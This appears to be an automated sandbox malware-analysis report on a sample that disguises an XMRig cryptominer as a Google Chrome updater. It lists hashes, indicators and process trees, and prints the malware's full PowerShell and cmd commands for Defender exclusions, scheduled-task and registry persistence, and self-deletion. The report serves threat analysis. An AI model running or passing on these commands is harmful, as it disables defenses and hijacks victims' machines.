Overview
overview
10Static
static
3grhsghsGHs...y8.exe
windows7-x64
10grhsghsGHs...y8.exe
windows10-2004-x64
10grhsghsGHs...SE.exe
windows7-x64
10grhsghsGHs...SE.exe
windows10-2004-x64
10grhsghsGHs...CD.exe
windows7-x64
10grhsghsGHs...CD.exe
windows10-2004-x64
10grhsghsGHs...Da.exe
windows7-x64
10grhsghsGHs...Da.exe
windows10-2004-x64
10grhsghsGHs...wq.exe
windows7-x64
10grhsghsGHs...wq.exe
windows10-2004-x64
10grhsghsGHs...r7.exe
windows7-x64
10grhsghsGHs...r7.exe
windows10-2004-x64
10grhsghsGHs...XJ.exe
windows7-x64
10grhsghsGHs...XJ.exe
windows10-2004-x64
10grhsghsGHs...eg.exe
windows7-x64
10grhsghsGHs...eg.exe
windows10-2004-x64
10grhsghsGHs...5H.exe
windows7-x64
10grhsghsGHs...5H.exe
windows10-2004-x64
10grhsghsGHs...XN.exe
windows7-x64
10grhsghsGHs...XN.exe
windows10-2004-x64
10grhsghsGHs...T3.exe
windows7-x64
10grhsghsGHs...T3.exe
windows10-2004-x64
10grhsghsGHs...9r.exe
windows7-x64
10grhsghsGHs...9r.exe
windows10-2004-x64
10grhsghsGHs...GR.exe
windows7-x64
10grhsghsGHs...GR.exe
windows10-2004-x64
10grhsghsGHs...EX.exe
windows7-x64
10grhsghsGHs...EX.exe
windows10-2004-x64
10grhsghsGHs...EA.exe
windows7-x64
10grhsghsGHs...EA.exe
windows10-2004-x64
10grhsghsGHs...FB.exe
windows7-x64
10grhsghsGHs...FB.exe
windows10-2004-x64
10Resubmissions
25/01/2024, 16:55
240125-vfcyksbhgr1024/01/2024, 17:15
240124-vstf4aecaj1023/01/2024, 19:27
240123-x6cfvagbd91023/01/2024, 19:27
240123-x6bvbafgem1023/01/2024, 19:27
240123-x6bjjsgbd81023/01/2024, 19:27
240123-x6ax1sfgek1023/01/2024, 19:27
240123-x6abgsfgej1023/01/2024, 19:27
240123-x591qagbd71023/01/2024, 19:27
240123-x59d7agbd61023/01/2024, 19:27
240123-x584esgbd510Analysis
- max time kernel
430s - max time network
1783s - platform
windows7_x64 - resource
win7-20231215-en - resource tags
arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system - submitted
23/01/2024, 19:27
Static task
static1
Behavioral task
behavioral1
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
grhsghsGHswgh/3JynzWc6LxNCT2y8.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral3
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win7-20231215-en
Behavioral task
behavioral4
Sample
grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral5
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win7-20231215-en
Behavioral task
behavioral6
Sample
grhsghsGHswgh/6vHkJ4UErTSS5ECD.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral7
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win7-20231215-en
Behavioral task
behavioral8
Sample
grhsghsGHswgh/Be5sCbvuma2nkHDa.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral9
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win7-20231215-en
Behavioral task
behavioral10
Sample
grhsghsGHswgh/DLKFnAGYJBNTnxwq.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral11
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win7-20231215-en
Behavioral task
behavioral12
Sample
grhsghsGHswgh/EtPLMpbCyFJpMJr7.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral13
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win7-20231215-en
Behavioral task
behavioral14
Sample
grhsghsGHswgh/Gu3PdXt79NF7EJXJ.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral15
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win7-20231215-en
Behavioral task
behavioral16
Sample
grhsghsGHswgh/JqLvG94UkYjhxAeg.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral17
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win7-20231215-en
Behavioral task
behavioral18
Sample
grhsghsGHswgh/LM3BR4UBmKBzBP5H.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral19
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win7-20231129-en
Behavioral task
behavioral20
Sample
grhsghsGHswgh/M8xUNW42QxTLMRXN.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral21
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win7-20231215-en
Behavioral task
behavioral22
Sample
grhsghsGHswgh/Q5EUCWHU7pMYBfT3.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral23
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win7-20231215-en
Behavioral task
behavioral24
Sample
grhsghsGHswgh/UMRsPGc4u9tycx9r.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral25
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win7-20231215-en
Behavioral task
behavioral26
Sample
grhsghsGHswgh/UU4Ddwqm5zcuLzGR.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral27
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win7-20231215-en
Behavioral task
behavioral28
Sample
grhsghsGHswgh/XJEzW6M7WvHaF3EX.exe
Resource
win10v2004-20231215-en
Behavioral task
behavioral29
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win7-20231129-en
Behavioral task
behavioral30
Sample
grhsghsGHswgh/Y2JYGshMHJGuGREA.exe
Resource
win10v2004-20231222-en
Behavioral task
behavioral31
Sample
grhsghsGHswgh/Yvdp8t5knpQz7sFB.exe
Resource
win7-20231215-en
General
- Target grhsghsGHswgh/6aNn9vLJCQVfagSE.exe
- Size 2.0MB
- Sample240123-x591qagbd7
- SHA256 cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e
- MD5 a16a669a09bf158058b83e04e69fe38e
- SHA1 f6c94763850d9e590d86057139e8895a7aacdeea
- SHA512 658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6
- SSDEEP 49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
description pid Process procid_target PID 2500 created 1200 2500 6aNn9vLJCQVfagSE.exe 22 PID 2500 created 1200 2500 6aNn9vLJCQVfagSE.exe 22 PID 2500 created 1200 2500 6aNn9vLJCQVfagSE.exe 22 PID 2500 created 1200 2500 6aNn9vLJCQVfagSE.exe 22 PID 1628 created 1200 1628 updater.exe 22 PID 1628 created 1200 1628 updater.exe 22 PID 1628 created 1200 1628 updater.exe 22 PID 1628 created 1200 1628 updater.exe 22 PID 2468 created 1200 2468 conhost.exe 22 PID 1628 created 1200 1628 updater.exe 22 - XMRig Miner payload 30 IoCs
resource yara_rule behavioral3/memory/2252-69-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-71-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-72-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-74-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-78-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-80-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-82-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-84-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-86-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-88-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-90-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-92-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-94-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-101-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-103-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-105-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-107-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-109-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-111-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-113-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-115-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-122-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-124-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-126-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-128-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-130-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-132-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-134-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-136-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig behavioral3/memory/2252-138-0x0000000140000000-0x00000001407F4000-memory.dmp xmrig - Deletes itself 1 IoCs
pid Process 2916 cmd.exe - Executes dropped EXE 1 IoCs
pid Process 1628 updater.exe - Loads dropped DLL 1 IoCs
pid Process 2376 taskeng.exe -
resource yara_rule behavioral3/memory/2252-65-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-69-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-71-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-72-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-74-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-78-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-80-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-82-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-84-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-86-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-88-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-90-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-92-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-94-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-101-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-103-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-105-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-107-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-109-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-111-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-113-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-115-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-122-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-124-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-126-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-128-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-130-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-132-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-134-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-136-0x0000000140000000-0x00000001407F4000-memory.dmp upx behavioral3/memory/2252-138-0x0000000140000000-0x00000001407F4000-memory.dmp upx - Drops file in System32 directory 5 IoCs
description ioc Process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1628 set thread context of 2468 1628 updater.exe 45 PID 1628 set thread context of 2252 1628 updater.exe 52 - Drops file in Program Files directory 4 IoCs
description ioc Process File created C:\Program Files\Google\Chrome\updater.exe 6aNn9vLJCQVfagSE.exe File created C:\Program Files\Google\Libs\WR64.sys updater.exe File created C:\Program Files\Google\Libs\g.log cmd.exe File created C:\Program Files\Google\Libs\g.log cmd.exe - Creates scheduled task(s) 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 2592 schtasks.exe 1924 schtasks.exe - Detects videocard installed 1 TTPs 1 IoCs
Uses WMIC.exe to determine videocard installed.
pid Process 2216 WMIC.exe - Modifies data under HKEY_USERS 3 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 60fd5f32b74fda01 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ WMIC.exe - Suspicious behavior: EnumeratesProcesses 25 IoCs
pid Process 2500 6aNn9vLJCQVfagSE.exe 2500 6aNn9vLJCQVfagSE.exe 1252 powershell.exe 2500 6aNn9vLJCQVfagSE.exe 2500 6aNn9vLJCQVfagSE.exe 2792 powershell.exe 2500 6aNn9vLJCQVfagSE.exe 2500 6aNn9vLJCQVfagSE.exe 2500 6aNn9vLJCQVfagSE.exe 2500 6aNn9vLJCQVfagSE.exe 2612 powershell.exe 1628 updater.exe 1628 updater.exe 3040 powershell.exe 1628 updater.exe 1628 updater.exe 1648 powershell.exe 1628 updater.exe 1628 updater.exe 1628 updater.exe 1628 updater.exe 2468 conhost.exe 2468 conhost.exe 1628 updater.exe 1628 updater.exe - Suspicious use of AdjustPrivilegeToken 31 IoCs
description pid Process Token: SeDebugPrivilege 1252 powershell.exe Token: SeDebugPrivilege 2792 powershell.exe Token: SeDebugPrivilege 2612 powershell.exe Token: SeDebugPrivilege 3040 powershell.exe Token: SeDebugPrivilege 1648 powershell.exe Token: SeDebugPrivilege 1628 updater.exe Token: SeAssignPrimaryTokenPrivilege 2216 WMIC.exe Token: SeIncreaseQuotaPrivilege 2216 WMIC.exe Token: SeSecurityPrivilege 2216 WMIC.exe Token: SeTakeOwnershipPrivilege 2216 WMIC.exe Token: SeLoadDriverPrivilege 2216 WMIC.exe Token: SeSystemtimePrivilege 2216 WMIC.exe Token: SeBackupPrivilege 2216 WMIC.exe Token: SeRestorePrivilege 2216 WMIC.exe Token: SeShutdownPrivilege 2216 WMIC.exe Token: SeSystemEnvironmentPrivilege 2216 WMIC.exe Token: SeUndockPrivilege 2216 WMIC.exe Token: SeManageVolumePrivilege 2216 WMIC.exe Token: SeAssignPrimaryTokenPrivilege 2216 WMIC.exe Token: SeIncreaseQuotaPrivilege 2216 WMIC.exe Token: SeSecurityPrivilege 2216 WMIC.exe Token: SeTakeOwnershipPrivilege 2216 WMIC.exe Token: SeLoadDriverPrivilege 2216 WMIC.exe Token: SeSystemtimePrivilege 2216 WMIC.exe Token: SeBackupPrivilege 2216 WMIC.exe Token: SeRestorePrivilege 2216 WMIC.exe Token: SeShutdownPrivilege 2216 WMIC.exe Token: SeSystemEnvironmentPrivilege 2216 WMIC.exe Token: SeUndockPrivilege 2216 WMIC.exe Token: SeManageVolumePrivilege 2216 WMIC.exe Token: SeLockMemoryPrivilege 2252 conhost.exe - Suspicious use of WriteProcessMemory 20 IoCs
description pid Process procid_target PID 2792 wrote to memory of 2592 2792 powershell.exe 32 PID 2792 wrote to memory of 2592 2792 powershell.exe 32 PID 2792 wrote to memory of 2592 2792 powershell.exe 32 PID 2916 wrote to memory of 2756 2916 cmd.exe 35 PID 2916 wrote to memory of 2756 2916 cmd.exe 35 PID 2916 wrote to memory of 2756 2916 cmd.exe 35 PID 2612 wrote to memory of 2172 2612 powershell.exe 39 PID 2612 wrote to memory of 2172 2612 powershell.exe 39 PID 2612 wrote to memory of 2172 2612 powershell.exe 39 PID 2376 wrote to memory of 1628 2376 taskeng.exe 40 PID 2376 wrote to memory of 1628 2376 taskeng.exe 40 PID 2376 wrote to memory of 1628 2376 taskeng.exe 40 PID 1648 wrote to memory of 1924 1648 powershell.exe 53 PID 1648 wrote to memory of 1924 1648 powershell.exe 53 PID 1648 wrote to memory of 1924 1648 powershell.exe 53 PID 1628 wrote to memory of 2468 1628 updater.exe 45 PID 1624 wrote to memory of 2216 1624 cmd.exe 46 PID 1624 wrote to memory of 2216 1624 cmd.exe 46 PID 1624 wrote to memory of 2216 1624 cmd.exe 46 PID 1628 wrote to memory of 2252 1628 updater.exe 52 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵PID:1200
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C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
PID:2500
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1252
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2792 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:2592
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\grhsghsGHswgh\6aNn9vLJCQVfagSE.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
PID:2916
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2612 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC3⤵PID:2172
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3040
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1648 -
C:\Windows\system32\schtasks.exe"C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"3⤵
- Creates scheduled task(s)
PID:1924
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe qtdiqnkejoz2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Suspicious behavior: EnumeratesProcesses
PID:2468
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
PID:2560
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C:\Windows\System32\cmd.exeC:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"2⤵
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:1624
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C:\Windows\System32\conhost.exeC:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz2⤵
- Suspicious use of AdjustPrivilegeToken
PID:2252
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C:\Windows\System32\choice.exechoice /C Y /N /D Y /T 31⤵PID:2756
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C:\Windows\system32\taskeng.exetaskeng.exe {F561AFF2-1B9B-4EFD-9288-338FD7BD2CD3} S-1-5-18:NT AUTHORITY\System:Service:1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2376 -
C:\Program Files\Google\Chrome\updater.exe"C:\Program Files\Google\Chrome\updater.exe"2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1628
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C:\Windows\System32\Wbem\WMIC.exewmic PATH Win32_VideoController GET Name, VideoProcessor1⤵
- Detects videocard installed
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
PID:2216
Network
MITRE ATT&CK Enterprise v15
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Downloads
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 61KB
- SHA256 58c60b5d1a5964438894240513e0a92d3a860cf459beeb1521a07f76e957d9fa
- MD5 9cb6f32b2fdc1a0e46a8aee02dc25a8b
- SHA1 a08a5348ace4054d2a1726791d594b9c1984c3f7
- SHA512 cbb8897b648c942622446a9697384ddfb64c7142a4d300f265b19a23ad54bee97adbf11f6eff0f9c1852a47b9f3a01d0b690c3b71a8bcbb6833c2fe04ddcd15b
- SSDEEP 1536:L3zCarzIpyj5pLauwYY94E6w/oBKKwURaOO5FF3:L3zjTv46w/ZUFO5T3
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Chrome\updater.exe
- Size 157KB
- SHA256 3522368f6d5113d9fa328425950b779a719a742e9b86ce7519030d762227c762
- MD5 c98a0531f605257446f9540c39fd582b
- SHA1 1a4667873bf7cc7d36910781af8c1608c0aa392e
- SHA512 6fa23a7a83e17481dd2549c575809cbfd68842027fb7dfd98273489de633dbdc85c9d1220c43f924ce0b0c67319b3135ffe45e2ae1966335390d97a29fb09354
- SSDEEP 3072:L3zjTv46w/ZUFO5TbwWpUt1D995tbq56k6hyqYviCH923Sj:L3zjTg6uUuViDX5Q6k6hyqsD23g
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Program Files\Google\Libs\g.log
- Size 198B
- SHA256 8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07
- MD5 37dd19b2be4fa7635ad6a2f3238c4af1
- SHA1 e5b2c034636b434faee84e82e3bce3a3d3561943
- SHA512 86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
- Size 7KB
- SHA256 f41760a8d803ec1e43383a7a4ce354c5e6c669194d5aca607de8bd43ad14e394
- MD5 74a8a8e895c547feae9d05066ab3551f
- SHA1 413426b3f2680b698657f143f70b94e1a045f04a
- SHA512 27ef9e848b8f790ebe80bcf67a53aa013892c92f91a4aed07e946e02e9c17801fda5cea4714fcae752c6d8684dcd08505b45459c790013c236baaa9be4e2f04f
- SSDEEP 96:4VWC5M8QnqvsqvJCwoDojQVWC5M8QnqvsEHyqvJCworVoj2QuWQHeV57HjXlUVhU:83sUoDd3sAHnorVtI3V57HjQU
- MD5 SHA1 SHA512 SSDEEP
- Path \Program Files\Google\Chrome\updater.exe
- Size 1KB
- SHA256 181f50f905c56a2043c18f81f26be56905c12b97f733e8561692a3156a3792cf
- MD5 d9a640deb6e8fe0151da79d21fc3c344
- SHA1 b60035acadb675281bab5228bb3343c40f4b3160
- SHA512 5677097100c282f13b77ede5e0ab8aff4c28e0b5d0fddaf28193f44b801f53bde7effa47e94814c085aa8803a53a71376e538e2c6c7682d9fd3fcde610c294c2
- MD5 SHA1 SHA512